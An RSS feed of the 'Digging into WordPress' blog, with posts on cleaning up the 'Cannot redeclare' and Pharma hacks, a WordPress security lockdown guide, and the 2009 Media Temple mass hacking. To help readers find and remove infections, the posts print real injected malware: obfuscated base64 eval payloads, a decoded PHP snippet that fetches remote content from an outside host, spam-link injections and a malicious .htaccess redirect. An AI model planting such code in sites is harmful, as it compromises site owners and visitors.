<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digging into WordPress &#187; hacking</title>
	<atom:link href="http://digwp.com/tag/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://digwp.com</link>
	<description>Take your WordPress skills to the next level.</description>
	<lastBuildDate>Thu, 09 Feb 2012 19:03:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Clean Up &#8220;Cannot redeclare&#8221; Hack</title>
		<link>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/</link>
		<comments>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/#comments</comments>
		<pubDate>Fri, 18 Nov 2011 22:44:09 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5411</guid>
		<description><![CDATA[One of my clients was hacked with the so-called &#8220;Cannot redeclare&#8221; hack. It seems closely related to the nefarious TimThumb hack, so if you&#8217;ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect shared servers, so if you host multiple WordPress sites, chances are high that they&#8217;re [...]]]></description>
			<content:encoded><![CDATA[<p>One of my clients was hacked with the so-called <a href="http://www.victorciobanu.com/how-to-remove-cannot-redeclare/">&#8220;Cannot redeclare&#8221; hack</a>. It seems closely related to the nefarious <a href="http://blog.sucuri.net/2011/10/timthumb-php-mass-infection-aftermath-part-i.html">TimThumb hack</a>, so if you&#8217;ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect <strong>shared servers</strong>, so if you host <em>multiple</em> WordPress sites, chances are high that they&#8217;re <em>all</em> infected.</p>
<p><span id="more-5411"></span></p>
<h3>Checking for the &#8220;Cannot redeclare&#8221; hack</h3>
<p>The good news is that the hack is easy to diagnose. Just open any page from your site and look for the following PHP error message:</p>
<pre><code>Fatal error: Cannot redeclare _765258526() 
(previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) 
: eval()'d code:1) in /path/to/www/index.php(18) 
: eval()'d code on line 1</code></pre>
<p>PHP errors like this are usually located at the bottom of the web page, but may appear elsewhere or even not all in some cases (i.e., proper configuration). To be certain, scan your server&#8217;s PHP error logs for the &#8220;Cannot redeclare&#8221; error string. If you find anything that matches, it&#8217;s time to fix your site..</p>
<h3>About the &#8220;Cannot redeclare&#8221; hack</h3>
<p>If your site&#8217;s been hit with &#8220;Cannot redeclare&#8221;, you&#8217;re in for a wild clean-up party because it infects <em>every</em> <code>index.php</code> and <code>footer.php</code> file for <em>every</em> WordPress site on the server. </p>
<p>For example, my client hosted 11 sites on the same shared account, so multiply that by the number of index and footer files used by WordPress (core files and themes) and you get over 200 hacked files to clean up. Needless to say the client&#8217;s sites have been moved to a more secure location.</p>
<p>Fortunately finding the hacked index files is relatively painless, just search all files on your server for the following phrase:</p>
<p><strong><code>eval(gzun</code></strong></p>
<p>Here is a screenshot showing search results for this phrase:</p>
<p><img src="http://digwp.com/wp-content/blog-images/cannot-redeclare-01.gif" alt="[ screenshot of search results ]" /></p>
<p>As seen here, the hacked files should be easy to recognize because they:</p>
<ul>
<li>include the <code>eval(gzun</code> search term</li>
<li>include long strings of encoded gibberish</li>
<li>consist of <code>index.php</code> and <code>footer.php</code> files</li>
</ul>
<p>If your search turns up anything that similar but not quite what we&#8217;re talking about here, it may or may not be legit. The main thing that we&#8217;re looking for are the <em>long strings of encoded nonsense</em>. Also, remember to check <em>all</em> sites that you may have on the same server. Once you&#8217;ve isolated the infected files, it&#8217;s time to clean &#8216;em up..</p>
<h3>Removing the &#8220;Cannot redeclare&#8221; hack</h3>
<p>Looking at any of the hacked files, you&#8217;ll find this hideous looking piece of code garbage:</p>
<pre><code>&lt;?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM=')));  eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ==')));  eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I='))); ?&gt;</code></pre>
<p>Disgusting stuff, and if you don&#8217;t see it at first, that doesn&#8217;t mean it&#8217;s not there. The scumbags who deal in this filth are clever enough to <strong>indent the code</strong> so it appears off-screen (via horizontal scrollbar). It&#8217;s a clever trick, but most text editors have a limit to the number of characters that appear on each line, so the super-long string of encoded gibberish wraps and becomes easy to spot:</p>
<p><img src="http://digwp.com/wp-content/blog-images/cannot-redeclare-03.gif" alt="[ screenshot of wrapped code ]" /></p>
<p>Notice it there in the last line.. it&#8217;s like that for all teh files. And again, if you don&#8217;t see anything then look for it off-screen. Once you find it, <strong>delete it</strong>. Then repeat for all index and footer files on your server. Once you&#8217;ve done that the &#8220;Cannot redeclare&#8221; hack should be gone, but you should take steps to prevent future attacks..</p>
<h3>Securing your WordPress site</h3>
<p>For public websites, <em>there is no such thing as perfect security</em>. There are many ways to <em>improve</em> security, however, including finding a more secure host for your sites. In general, private or some sort of virtual private hosting is better than shared hosting (for many reasons), but it&#8217;s also more expensive. Hosting is one of those things where you get what you pay for.. so if you have the means, upgrading to a better, more secure host is the first thing I would consider.</p>
<p>Beyond switching hosts, there are a number of known effective measures you can take to improve the security of your site. There are many excellent resources available to help with site security (both for WordPress and in general), including an entire Lynda.com video/screencast series that focuses in-depth on <a href="http://www.lynda.com/tutorial/78547">devloping secure WordPress sites</a>. Even more recently is Daniel Pataki&#8217;s Smashing WP article on <a href="http://wp.smashingmagazine.com/2011/11/10/securing-your-wordpress-website/">securing your WordPress website</a>. And if you want to hear it direct from the horse&#8217;s mouth, check out the good &#8216;ol fashioned WP Codex for info on <a href="http://codex.wordpress.org/Hardening_WordPress">hardening WordPress</a>.</p>
<h3>More help..</h3>
<p>There&#8217;s currently not a lot of info on the &#8220;Cannot redeclare&#8221; hack, but this <a href="http://wordpress.org/support/topic/fatal-error-cannot-redeclare-_765258526">WP Forum thread</a> provides some additional clues. If you have any information regarding this hack, or how it relates to the TimThumb hack, please leave a comment to share the information with others in the WP community. Thanks.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/">Permalink</a> | <a href="http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/#comments">16 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/&title=Clean Up &#8220;Cannot redeclare&#8221; Hack">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>WordPress Security Lockdown</title>
		<link>http://digwp.com/2010/07/wordpress-security-lockdown/</link>
		<comments>http://digwp.com/2010/07/wordpress-security-lockdown/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 21:04:44 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2413</guid>
		<description><![CDATA[This article is split into two parts for ez reference. First some information on the evil WordPress &#8220;Pharma Hack&#8221;, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure: Pharma Hacked Security Lockdown Pharmaceutical Apocalypse A few weeks ago, DigWP.com was hit with the so-called Pharma Hack. We [...]]]></description>
			<content:encoded><![CDATA[<p>This article is split into two parts for <abbr title="SO easy">ez</abbr> reference. First some information on the evil WordPress &ldquo;Pharma Hack&rdquo;, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure:</p>
<ul>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#pharma-hack">Pharma Hacked</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#security-lockdown">Security Lockdown</a></li>
</ul>
<p><span id="more-2413"></span></p>
<h3 id="pharma-hack">Pharmaceutical Apocalypse</h3>
<p>A few weeks ago, <a href="http://digwp.com/">DigWP.com</a> was hit with the so-called <a href="http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php" title="How to Diagnose and Remove the WordPress Pharma Hack">Pharma Hack</a>. We discovered the hack after some Google results turned up all sorts of spammy pharmaceutical garbage littered throughout posts, links, and titles. The tricky part about the hack is that it injects the spam garbage only when your site&rsquo;s pages are requested by a <em>search bot</em> (e.g., googlebot). So when you view your pages in a <em>browser</em>, everything seems perfectly normal. Put simply, the hack is <strong>cloaked</strong>. We had no idea anything was wrong until about <em>two weeks</em> after the attack. During that time a majority of our search engine results were nuked with evil pharma spam. Ick.</p>
<p>Flash forward three weeks later and things are locked-down tight. The Pharma Hack has not returned, and most of the spam garbage in the search results has been filtered out and replaced with clean pages. At the time of the attack, DigWP was running WordPress 2.9/3.0 without any sort of <em>additional</em> site security. We were just using whatever &ldquo;default&rdquo; protection available from either WordPress or Media Temple. After detecting the hack, several days were spent cleaning it up and locking things down. At first, it seemed like an <em>impossible</em> hack to fix &ndash; nothing seemed to work. We ran through the following routine, hoping to fix it:</p>
<ul>
<li>Locate and remove hacked <code>404.php</code> file</li>
<li>Locate and remove hacked content from database</li>
<li>Replace entire set of salt keys</li>
<li>Upload new WordPress files</li>
<li>Restore previous versions of other files</li>
<li>Restore database to previous version</li>
</ul>
<p>These actions alleviate the symptoms, but they don&rsquo;t even touch the actual virus, which somehow regenerates the (base64) encoded spam script. As far as we know, the Pharma Hack works like this:</p>
<ol>
<li>Evil script gains access to your WordPress site</li>
<li>Encoded spam script injected into database</li>
<li>Script inserts spam garbage into pages requested by search bots</li>
<li>Script makes no changes to pages requested by browsers</li>
</ol>
<p>Within the database, the spam script is generated in any/all of these <code>option_name</code> fields:</p>
<ul id="encoded-gibberish">
<li><code>class_generic_support</code></li>
<li><code>widget_generic_support</code></li>
<li><code>wp_check_hash</code></li>
<li><code>ftp_credentials</code></li>
<li><code>rss_[string] e.g.,</code><br /><code>rss_7988287cd8f4f531c6b94fbdbc4e1caf</code></li>
</ul>
<p>If these fields are present and contain <a href="http://digwp.com/examples/PharmaHack/Pharma-Hack_2010-07-11.txt" title="encoded Pharma Hack script">super-long strings of encoded gibberish</a>, your site&rsquo;s infected. You can assess the damages by examining the search results for your site (note: other spam keywords may be used):</p>
<pre><code>site:digwp.com cipro OR meridia OR cialis</code></pre>
<p>If you&rsquo;re hit, hopefully you catch it <em>before</em> googlebot crawls along. But even if you have <em>thousands</em> of hacked pages appearing in the search index, it&rsquo;s not too late to clean things up and secure your site. Here is how we did it..</p>
<h3 id="security-lockdown">WordPress Security Lockdown</h3>
<p>This security strategy is best implemented on <em>new</em> sites. It just makes everything (like renaming table prefixes) <em>so</em> much easier. Either way, you want to start with a clean batch of files. Upload a fresh copy of WordPress, update your plugins, theme files, and so on. You may want to <a href="http://perishablepress.com/press/2010/05/19/htaccess-redirect-maintenance-page-site-updates/" title="htaccess Redirect to Maintenance Page">redirect visitors to a maintenance page</a> while you work on your site. That said, here is our five-step Security Lockdown for WordPress:</p>
<ol style="padding-bottom:15px;">
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#file-permissions">File Permissions</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#file-protection">File Protection</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#database-protection">Database Protection</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#essential-plugins">Essential Plugins</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#security-details">Important Details</a></li>
</ol>
<h4 id="file-permissions">[<a href="#security-lockdown" title="Jump to Menu">1</a>] File Permissions</h4>
<p>After uploading fresh files, the next step is to ensure proper file permissions. WordPress defaults to <code>644</code> for files and <code>755</code> permissions for folders. Make sure these are set properly. While cleaning up, we noticed some crazy permission settings for sensitive files. For example, <code>wp-config.php</code> was set to <code>777</code> &ndash; executable and writable by the entire world!! Make sure you don&rsquo;t see anything like that, and if you do, fix it.</p>
<h4 id="file-protection">[<a href="#security-lockdown" title="Jump to Menu">2</a>] File Protection</h4>
<p>In addition to setting proper file permissions, we can also lock down key files with <code>.htaccess</code>. There are numerous files to protect, perhaps most importantly the <code>wp-config.php</code> file, which contains your database login information. Place the following code in your site&rsquo;s root <code>.htaccess</code> file to protect it:</p>
<pre><code># SECURE WP-CONFIG.PHP
&lt;Files wp\-config\.php&gt;
 Order Deny,Allow
 Deny from all
&lt;/Files&gt;</code></pre>
<p>You may also want to <a href="http://perishablepress.com/press/2009/07/13/htaccess-password-protection-tricks/" title="HTAccess Password-Protection Tricks">password-protect</a> your <code>wp-admin</code> directory, but it may cause more trouble than it&rsquo;s worth.</p>
<h4 id="database-protection">[<a href="#security-lockdown" title="Jump to Menu">3</a>] Database Protection</h4>
<p>Changing the default table prefix is one of the <em>best</em> ways to protect your database. Malicious scripts need targets, and default targets are easy to hit. Change <code>wp_</code> to something more like a password. Some <a href="http://www.random.org/strings/" title="Random String Generator">random string</a> like &ldquo;<code>crUQZPadESeKSy8Q_</code>&rdquo; will make your tables difficult to hit. Like having a built-in password for your database&nbsp;:)</p>
<p>There are two ways to change your prefixes: the easy way and the hard way. The easy way is to add the following line to your <code>wp-config.php</code> file <em>before</em> installing WordPress (important: change the random string to something unique):</p>
<pre><code>$table_prefix  = 'crUQZPadESeKSy8Q_'; // custom table prefix</code></pre>
<p>Do that <em>before</em> running the install script and WordPress takes care of the prefix naming automagically when it creates the database. Going forward, there is no reason not to change default prefixes for all future WordPress installs. For existing sites, you can do it the hard way <a href="http://blogsecurity.net/wordpress/wp-prefix-changer-v11-released" title="WP Prefix Changer v1.1 released">using a plugin</a> or <a href="http://digwp.com/2010/10/change-database-prefix/" title="Change Your Database Prefix to Improve Security">doing it manually</a>.</p>
<h4 id="essential-plugins">[<a href="#security-lockdown" title="Jump to Menu">4</a>] Essential Plugins</h4>
<p>After exploring the vast crop of <a href="http://wordpress.org/extend/plugins/tags/security" title="WordPress<br />
Plugin Directory">WordPress security plugins</a>, we narrowed it down to four plugins that collectively do just about everything in the easiest way possible:</p>
<p><strong><a href="http://mattwalters.net/projects/wordpress-file-monitor/">WP File Monitor</a></strong></p>
<p>This plugin tracks changes made to your files. If/when anything changes, it notifies you via Admin Dashboard alert and/or email alert. So anytime a file is changed, moved, added, or removed, WP File Monitor lets you know. Here is a list of features:</p>
<ul>
<li>Monitors file system for added/deleted/changed files</li>
<li>Sends email when a change is detected</li>
<li>Multiple email formats for alerts</li>
<li>Administration area alert to notify you of changes in case email is not received</li>
<li>Ability to monitor files for changes based on file hash or timestamp</li>
<li>Ability to exclude directories from scan</li>
<li>Site URL included in notification email in case plugin is in use on multiple sites</li>
</ul>
<p>This is one of my favorite plugins. It&rsquo;s perfect for keeping an eye on things. If anyone gets in and messes around with your files, you&rsquo;ll know about it immediately, and even better, you&rsquo;ll know <em>exactly</em> which files have been affected.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a></strong></p>
<p>This plugin scans your WordPress installation for security vulnerabilities and suggests corrective actions. The scan report informs you of any problems with file permissions, system variables, and much more:</p>
<ul>
<li>Passwords</li>
<li>File permissions</li>
<li>Database security</li>
<li>Version hiding</li>
<li>WordPress admin protection/security</li>
<li>Removes WP Generator META tag from core code</li>
</ul>
<p>WP Security Scan also provides a nice summary of server information and latest scan information. Performing a new scan is immediate with the click of a button. Very easy.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/ultimate-security-check/">Ultimate Security Check</a></strong></p>
<p>This plugin provides even more security information, helping you to identify potential issues with your WordPress installation. It scans your site for &ldquo;hundreds of known threats,&rdquo; and then &ldquo;grades&rdquo; your level of site security. Here are some of the key things it checks:</p>
<ul>
<li>Checks for updates</li>
<li>Checks configuration file</li>
<li>Checks if config file is located in unsecured place</li>
<li>Checks presence of install script</li>
<li>Checks server configuration</li>
<li>Checks database</li>
<li>Checks code</li>
</ul>
<p>And quite a bit more. The best part about Ultimate Security Check is that it&rsquo;s so <em>easy</em> to use.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/secure-wordpress/">Secure WordPress</a></strong></p>
<p>This plugin takes care of all those &ldquo;little&rdquo; things. Instead of installing a bunch of smaller plugins or <a href="http://digwp.com/2010/03/wordpress-functions-php-template-custom-functions/" title="WordPress functions.php Template with 15 Essential Custom Functions">custom functions</a> for this stuff, the Secure WordPress plugin does it all for you:</p>
<ol>
<li>Removes error-information on login-page</li>
<li>Adds index.php plugin-directory (virtual)</li>
<li>Removes the wp-version, except in admin-area</li>
<li>Removes Really Simple Discovery</li>
<li>Removes Windows Live Writer</li>
<li>Remove core update information for non-admins</li>
<li>Remove plugin-update information for non-admins</li>
<li>Remove theme-update information for non-admins (only WP 2.8 and higher)</li>
<li>Hide wp-version in backend-dashboard for non-admins</li>
<li><a href="http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/" title="Protect WordPress Against Malicious URL Requests">Block Bad Queries</a></li>
</ol>
<p>Having all of this (and much more) done with a few clicks in the WordPress Admin is easy <em>and</em> effective.</p>
<h4 id="security-details">[<a href="#security-lockdown" title="Jump to Menu">5</a>] Important Details</h4>
<p>The previous four steps comprise the majority of our security lockdown, but there are some important details to consider:</p>
<ul>
<li>Keep your WordPress install, plugins, themes, and scripts updated with current versions</li>
<li>Use <strong>strong</strong> passwords and change them often</li>
<li>Disable user registration if not needed/used for your site</li>
<li>Check roles and permissions for all users</li>
<li>Clean up and consolidate old/loose files</li>
<li>Remove unused plugins and themes</li>
<li>Check permissions of <code>upload</code>, <code>upgrade</code>, and <code>backup</code> directories</li>
<li>Keep a backup of your site files</li>
<li>Keep your database optimized and backed up</li>
</ul>
<p>We did these things here at DigWP.com, but certain tips may not apply to every site. As a side note, despite our new security lockdown, I am still concerned/confused about how to handle the <code>upload</code>, <code>upgrade</code>, and <code>backup</code> directories. It seems dangerous to leave these folders set with <code>777</code> permissions, and for many shared hosts, that seems to be the required setting. I would be interested in hearing any ideas about securing these directories.</p>
<h3>Bottom Line</h3>
<p>There is no such thing as perfect security. If someone wants in bad enough, they&rsquo;re going to find a way, despite your best efforts at staying secure. Fortunately, most malicious scripts target the least common denominator, default WordPress installs. At the very least, ensure proper file permissions, secure <code>wp-config.php</code>, and use unique database prefixes. Together, these three steps will put your site out of reach for a vast majority of malicious scripts and other automated attacks. Of course, there are many other ways to <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/" title="How to Secure Your New WordPress Installation">strengthen your site&rsquo;s security</a>, depending on how far you want to go with it. The lockdown strategy presented in this article provides strong security in the most efficient way possible, but there is always room for improvement, so share your ideas and help the community secure their WordPress.</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/wordpress-security-lockdown/">Permalink</a> | <a href="http://digwp.com/2010/07/wordpress-security-lockdown/#comments">44 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/07/wordpress-security-lockdown/&title=WordPress Security Lockdown">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/plugin/" rel="tag">plugin</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/07/wordpress-security-lockdown/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>Media Temple, WordPress, Mass Hacking</title>
		<link>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/</link>
		<comments>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 14:47:12 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=983</guid>
		<description><![CDATA[Update: Media Temple is saying that: They aren&#8217;t 100% sure the cause, but yes, it is their fault. About 10% of all (gs) users were affected. It&#8217;s not WordPress specific, it&#8217;s PHP specific. Definitely change your passwords, definitely don&#8217;t change it back to the original password. A number of people (Michael Torbert, Kyle Brady, Jeffrey [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Update:</strong> Media Temple <a href="http://weblog.mediatemple.net/weblog/2009/11/26/1026-more-faqs/">is saying</a> that:</p>
<ul>
<li>They aren&#8217;t 100% sure the cause, but yes, it is their fault.</li>
<li>About 10% of all (gs) users were affected.</li>
<li>It&#8217;s not WordPress specific, it&#8217;s PHP specific.</li>
<li>Definitely change your passwords, definitely don&#8217;t change it back to the original password.</li>
</ul>
<p>A number of people (<a href="http://michaeltorbert.com/blog/media-temple-hacked/">Michael Torbert</a>, <a href="http://www.inquisitr.com/47860/the-epic-wordpress-mediatemple-failure/">Kyle Brady</a>, <a href="http://jeffreybarke.net/2009/11/media-templewordpress-hacked/">Jeffrey Barke</a>, <a href="http://adrian3.com/2009/11/mediatemplewordpress-hack/">Adrian Hanft</a>) are reporting that their Media Temple sites have been hacked. Digging Into WordPress is on a Media Temple (gs) and we got this email from them late last night:</p>
<blockquote><p>Dear Valued Customer,</p>
<p>This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.</p></blockquote>
<p><span id="more-983"></span></p>
<p>When trying to FTP into the site this morning, the access attempt was denied (wrong password), and then blocked. I had to log into the admin, unblock the IP, and reset the password to get in. <strong>In poking around a bit, it doesn&#8217;t look like Digging Into WordPress was affected.</strong> Thank god&#8230;</p>
<p>Some of the facts I&#8217;m seeing around:</p>
<ul>
<li>The attack is not specific to WordPress, although also affects WordPress (Some folks saying their Drupal sites have been hit, or sites just using plain old PHP)</li>
<li>It may be a result of passwords being stored/sent in plain text</li>
<li>Media Temple is mostly quiet on the issue but has been telling folks there has been a huge upsurge in attempted FTP connections to sites. </li>
<li>Some folks are blaming Media Temple, others blaming WordPress</li>
</ul>
<h3>Files to check on your own sites</h3>
<h4>index.php</h4>
<pre><code>&lt;!--5edfgh345--&gt;&lt;?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?&gt;</code></pre>
<p>Which evaluates to this:</p>
<pre><code>$l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;</code></pre>
<p>Links are being inserted into the page before the &lt;/html&gt; tag:</p>
<pre><code>&lt;!-- [6eb602d48b8b7f42aba0ce0c31ebe3f5 --&gt;&lt;!-- 9190819521 --&gt;&lt;noscript&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://rg8rhg34h34h.cc/c"&gt;.&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/noscript&gt;&lt;!-- 6eb602d48b8b7f42aba0ce0c31ebe3f5] --&gt;</code></pre>
<h4>.htaccess</h4>
<pre><code>RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4&amp;parameter=sf [R,L]</code></pre>
<h4>.nfs* (unnamed file in root of server)</h4>
<h3>Fixing It</h3>
<p>We weren&#8217;t victims of this attack so far, so please refer to the people linked above for more first-hand advice. However, changing passwords across the board, especially FTP passwords is a must. Also remove all the malicious code shown above from the files. If possible, a fresh WordPress install would probably be a good idea (backup your database and theme first!)</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/">Permalink</a> | <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/#comments">27 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/&title=Media Temple, WordPress, Mass Hacking">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>Ideas for Plugins I&#8217;m Too Lazy To Write</title>
		<link>http://digwp.com/2009/10/ideas-for-plugins/</link>
		<comments>http://digwp.com/2009/10/ideas-for-plugins/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 14:36:53 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[title]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=629</guid>
